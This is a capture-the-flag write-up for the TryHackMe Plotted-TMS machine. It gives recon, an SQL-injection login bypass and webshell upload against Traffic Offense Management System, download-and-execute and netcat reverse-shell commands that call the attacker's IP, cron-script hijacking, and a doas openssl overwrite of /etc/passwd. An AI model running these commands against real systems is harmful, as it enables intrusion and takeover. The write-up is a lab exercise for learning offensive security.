Contents

TryHackMe : Plotted-TMS WriteUp

This is my writeup for the Plotted-TMS room/machine of the TryHackMe.com platform. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…

Machine

Enumeration is the key

The machine is rated as an easy machine and if you’re looking for an easy machine with a different PE this is for you. Thanks a lot to sa.infinity8888 for this machine!

The techiques used in this machine over a small enumeration:

Recon

Point 0: add the IP into the /etc/hosts as plotted-tms.thm

First of all I run a classic nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
nmap -sC -sV -p- plotted-tms.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-12 11:29 GMT
Host is up (0.033s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a3:6a:9c:b1:12:60:b2:72:13:09:84:cc:38:73:44:4f (RSA)
|   256 b9:3f:84:00:f4:d1:fd:c8:e7:8d:98:03:38:74:a1:4d (ECDSA)
|_  256 d0:86:51:60:69:46:b2:e1:39:43:90:97:a6:af:96:93 (ED25519)
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
445/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I’m looking at a Linux machine with three open ports: 21, 80 and 445.

When I browse the page 80 I reach just the default apache/ubuntu default home page, I run a gobuster in order to find some directories:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
gobuster dir -u http://plotted-tms.thm -k -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.154.96
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/19 10:16:49 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 312] [--> http://10.10.154.96/admin/]
/shadow               (Status: 200) [Size: 25]                                  
/passwd               (Status: 200) [Size: 25]                                  
/server-status        (Status: 403) [Size: 277]   

Ops, there are some pages!

Let’s check them:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
curl http://http://plotted-tms.thm/admin/id_rsa

VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE

curl http://plotted-tms.thm/passwd

bm90IHRoaXMgZWFzeSA6RA==

curl http://plotted-tms.thm/shadow

bm90IHRoaXMgZWFzeSA6RA==

Ok, it’s a joke :) Decode them from base64!

The port 445 is an httpd server, I run a scan there too:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
gobuster dir -u http://plotted-tms.thm:445 -k -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.154.96:445
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/19 10:19:24 Starting gobuster in directory enumeration mode
===============================================================
/management           (Status: 301) [Size: 322] [--> http://10.10.154.96:445/management/]
/server-status        (Status: 403) [Size: 278]  

Better, the /management part is interesting:

../images/thm-tms/01.png
Index

and the login part is:

../images/thm-tms/02.png
Login

I’m in front of an application called Traffic Offense Management System

Foothold

Before bruteforcing, trying something else etc etc I checked on the exploit-db if this application, Traffic Offense Management, have an exploit or some PoC and…there is something working!

The webapp suffers from a SQLi, reading the code of the exploits present of the exploit-db page it seems I need just an admin' OR 1=1–

../images/thm-tms/03.png
SQLi

and…

../images/thm-tms/04.png
SQLi 2

Ok, this exploit may works and I run it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
searchsploit -m 50221
python2 50221.py

Example: http://example.com

Url: http://plotted-tms.thm:445/management/
Check Url ...

[+] Bypass Login

[+] Upload Shell

[+] Exploit Done!

$ ls
Traceback (most recent call last):
  File "50221.py", line 107, in <module>
    request = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/api.py", line 119, in post
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/api.py", line 61, in request
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 516, in request
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/sessions.py", line 459, in prepare_request
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/models.py", line 314, in prepare
  File "/usr/share/offsec-awae-wheels/requests-2.23.0-py2.py3-none-any.whl/requests/models.py", line 388, in prepare_url
requests.exceptions.MissingSchema: Invalid URL '/management/uploads/1645280280_evil.php?cmd=ls': No schema supplied. Perhaps you meant http:///management/uploads/1645280280_evil.php?cmd=ls?

Argh! The exploit used it’s not working at 100% to run other commands, but the injection worked. If I try to run it with the proper IP is working.

1
2
3
curl http://plotted-tms.thm:445/management/uploads/1645285140_evil.php?cmd=whoami
<pre>www-data
</pre> 

and it is, without changing the code.

It’s time to run a reverse shell. My idea was a boring one: host a shell, download and execute it.

1
2
3
cp /usr/share/webshells/php/php-reverse-shell.php shell.txt
[edit the shell.txt]
python3 -m http.server 80

and from the browser:

1
http://plotted-tms.thm:445/management/uploads/1645273440_evil.php?cmd=wget%20http://10.11.55.171/shell.txt%20-O%20/tmp/shell.php;php%20/tmp/shell.php

and magically it appears:

1
2
3
4
5
6
7
8
9
listening on [any] 4444 ...
connect to [10.11.55.171] from (UNKNOWN) [10.10.122.29] 57592
Linux plotted 5.4.0-89-generic #100-Ubuntu SMP Fri Sep 24 14:50:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 12:31:02 up 8 min,  0 users,  load average: 1.80, 2.07, 1.29
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'  
www-data@plotted:/$

PE to plot_admin

There is a user with the flag, the user plot_admin.

I was lazy, really lazy and I used linpeas.sh for checking the possible and visible misconfigurations. What linpeas found was really interesting:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
....
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* *     * * *   plot_admin /var/www/scripts/backup.sh




touch -- “-e sh shell.sh”

╔══════════╣ Checking doas.conf
permit nopass plot_admin as root cmd openssl   

Two clues, one for plot_admin and one for root maybe.

The first one is pretty fast, there is a script owned and runned by plot_admin into a directory owned by www-data. I can move the script and change it with a reverse shell (or something else…). My script is the following:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.55.171 4444>/tmp/f

and from the www-data shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
www-data@plotted:/var/www/scripts$ ls -ltra
ls -ltra
total 12
-rwxrwxr-- 1 plot_admin plot_admin  141 Oct 28 09:10 backup.sh
drwxr-xr-x 2 www-data   www-data   4096 Oct 28 09:10 .
drwxr-xr-x 4 root       root       4096 Oct 28 10:26 ..
www-data@plotted:/var/www/scripts$ mv backup.sh backup.sh_old
mv backup.sh backup.sh_old
www-data@plotted:/var/www/scripts$ wget 10.11.55.171/shell.sh -O backup.sh
wget 10.11.55.171/shell.sh -O backup.sh


2022-02-19 18:29:30 (1.77 KB/s) - ‘backup.sh’ saved [79/79]

www-data@plotted:/var/www/scripts$ cat backup.sh
cat backup.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.55.171 4444>/tmp/f

www-data@plotted:/var/www/scripts$ chmod +x backup.sh

In less than a minute or in a minute:

1
2
3
4
5
6
nc -nvlp 4444            
listening on [any] 4444 ...
connect to [10.11.55.171] from (UNKNOWN) [10.10.251.117] 58952
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(plot_admin) gid=1001(plot_admin) groups=1001(plot_admin)

And the user and user.txt done.

PE to root

According to linpeas there is another possible way to escalate in the system: doas has openssl running as root.

Before starting is better to check/understand what doas is and the usage of it.

Techically I can run something like doas -u root $app. I checked gtfobins as usual and openssl has a sudo way.

Just read the flag

If I want to abuse of this permission and just read the root.txt flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
plot_admin@plotted:~$ doas -u root openssl enc -in /root/root.txt
doas -u root openssl enc -in /root/root.txt
Congratulations on completing this room!

[REDACTED]

Hope you enjoyed the journey!

Do let me know if you have any ideas/suggestions for future rooms.
-sa.infinity8888

That’s it. The flag is right there

Full escalation to root

There is another way, with the parameter -out of openssl (present on gtfobins). In this case I overwrite the /etc/passwd with just root/test123:

1
2
3
4
5
6
7
plot_admin@plotted:~$ echo "root:cpTwkvN8LaCm6:0:0:root:/root:/bin/bash" | doas -u root openssl enc -out /etc/passwd

plot_admin@plotted:~$ su - root
su - root
Password: test123

root@plotted:~# 

Remember to save the output of /etc/passwd before…otherwise it will be lost!

Creator’s way

sa.infinity8888 wrote another way, you can check it on their page

L00t

Well…useless but…during my checks here and there I found some pass/hashes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

cat /var/www/html/445/management/initialize.php

<?php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
if(!defined('base_url')) define('base_url','/management/');
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"tms_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"Password@123");
if(!defined('DB_NAME')) define('DB_NAME',"tms_db");
?>

I can use it on the DBMS:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
mysql -u tms_user -pPassword@123 
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 180838
Server version: 8.0.27-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| tms_db             |
+--------------------+
2 rows in set (0.96 sec)

mysql> use tms_db
use tms_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+------------------+
| Tables_in_tms_db |
+------------------+
| drivers_list     |
| drivers_meta     |
| offense_items    |
| offense_list     |
| offenses         |
| system_info      |
| users            |
+------------------+
7 rows in set (0.08 sec)

mysql> select * from users;
select * from users;
+----+--------------+----------+----------+----------------------------------+-------------------------------+------------+------+---------------------+---------------------+
| id | firstname    | lastname | username | password                         | avatar                        | last_login | type | date_added          | date_updated        |
+----+--------------+----------+----------+----------------------------------+-------------------------------+------------+------+---------------------+---------------------+
|  1 | Adminstrator | Admin    | admin    | 14d147dc0ba2fed434e7fd176dc87fdc | uploads/1645266720_evil.php   | NULL       |    1 | 2021-01-20 14:02:37 | 2022-02-19 10:32:23 |
|  9 | Plotted      | User     | puser    | 1254737c076cf867dc53d60a0364f38e | uploads/1629336240_avatar.jpg | NULL       |    2 | 2021-08-19 09:24:25 | 2021-10-28 07:33:02 |
+----+--------------+----------+----------+----------------------------------+-------------------------------+------------+------+---------------------+---------------------+

The hash of puser reveals a password : jsmith123